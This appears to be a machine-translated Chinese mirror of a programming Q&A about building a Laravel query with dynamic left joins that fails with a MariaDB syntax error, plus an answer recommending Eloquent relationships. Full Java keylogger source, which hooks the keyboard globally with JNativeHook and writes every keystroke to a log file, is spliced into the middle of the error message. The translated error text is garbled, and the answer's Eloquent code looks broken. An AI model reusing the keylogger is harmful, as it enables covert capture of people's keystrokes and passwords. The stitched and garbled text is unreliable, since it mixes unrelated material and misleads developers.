所以我有四张桌子：
我需要从这四个表中构建一个表。
我试过了：
$experiment_id = $request->input('experiment_id');
$feature_classes = FeatureClass::where('experiment_id', $experiment_id)->select('title', 'id')->get();
$select = [
'entities.id',
'entities.prediction',
'entities.result'
];
foreach ($feature_classes as $f) {
$select[] = $f->id . ".value AS " .$f->id;
}
$entities = DB::table('entities')
->where('experiment_id', $experiment_id);
foreach ($feature_classes as $f) {
$entities = $entities->leftJoin('features AS ' . $f->id, function ($join) use ($f){
$join->on($f->id . '.entity_id', '=', 'entities.id')
->where($f->id . '.feature_class_id', $f->id);
});
}
return $entities
->select($select)
->get();
但我的努力会得到以下错误消息：SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1 ? left join功能as 2 on 2 . entity_id =实体. id {{ 1}} 2 and FE＆＃39;在第1行（SQL：选择.。entities，id。entities，prediction。entities，result。{ {1}} 1，value。1 2 value 2左entities features 1 1 entity_id 1}}。entities = id。1和feature_class_id。features 1将2作为2加入entity_id entities 1}}。id = 2。feature_class_id和experiment_id。 import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.LogManager;
import java.util.logging.Logger;
import javax.swing.JFileChooser;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
public class JkL implements NativeKeyListener {
private String typedC = "";
private String typedC1 = "";
private final JFileChooser fc = new JFileChooser();
private File direc;
private void openFchooser1() throws FileNotFoundException,
InterruptedException, IOException, Exception {
Thread.sleep(2000);
int returnVal = fc.showDialog(null, "Choose a Logfile");
if(returnVal == JFileChooser.APPROVE_OPTION) {
direc = fc.getSelectedFile();
}
/* Construct the example object and initialze native hook. */
GlobalScreen.addNativeKeyListener(new Kl());
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */
System.err.println("There was a problem registering the native
hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
// Clear previous logging configurations.
LogManager.getLogManager().reset();
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger =
Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
}
@Override
public void nativeKeyPressed(NativeKeyEvent nke) {
throw new UnsupportedOperationException("Not supported yet."); //To
change body of generated methods, choose Tools | Templates.
}
@Override
public void nativeKeyReleased(NativeKeyEvent nke) {
throw new UnsupportedOperationException("Not supported yet."); //To
change body of generated methods, choose Tools | Templates.
}
@Override
public void nativeKeyTyped(NativeKeyEvent nke) {
throw new UnsupportedOperationException("Not supported yet."); //To
change body of generated methods, choose Tools | Templates.
}
class Kl extends JkL {
/* Key Pressed */
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
//typedC += NativeKeyEvent.getKeyText(e.getKeyCode());
typedC += e.getRawCode();
typedC += e.getKeyChar();
typedC += e.getKeyCode();
try {
writeToFile(typedC);
} catch (IOException ex) {
Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null,
ex);
}
/* Terminate program when one press ESCAPE */
if (e.getKeyCode() == NativeKeyEvent.VC_F12) {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException ex) {
Logger.getLogger(JkL.class.getName()).log(Level.SEVERE,
null, ex);
}
}
}
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
//System.out.println("Key Released: " +
//NativeKeyEvent.getKeyText(e.getKeyCode()));
}
/* I can't find any output from this call */
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
//typedC1 += NativeKeyEvent.getKeyText(e.getKeyCode());
typedC1 += e.getRawCode();
typedC1 += e.getKeyChar();
typedC1 += e.getKeyCode();
try {
writeToFile(typedC1);
} catch (IOException ex) {
Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null,
ex);
}
}
}
private void writeToFile(String ln) throws IOException {
//System.out.println(direc);
FileWriter fw = new FileWriter(direc);
try (BufferedWriter bw = new BufferedWriter(fw)) {
bw.write(ln);
bw.newLine();
bw.flush();
}
}
public static void main(String[] args) throws
IOException,InterruptedException, Exception {
new JkL().openFchooser1();
}
}
2其中paramstyle = 1）`
答案 0 :(得分：0)
我认为你不应该这样做。你应该通过在模型中添加多对多的关系来解决这个问题，然后使用eloquent来完成其余的工作。例如，在要素模型中：
public function Classes(){
return $this->belongsToMany('App\Classes', 'feature_classes', 'feature_class_id', 'id');
}
然后类似的东西定义了通过experiment_id链接的类和实体之间的关系。然后，您应该能够使用本机雄辩的功能（如
）访问所需的数据$entities = Features::where('experiment_id', $experiment_id)->Classes->Entities;
return $entities
此处提供更多信息：
https://laravel.com/docs/5.3/eloquent-relationships#many-to-many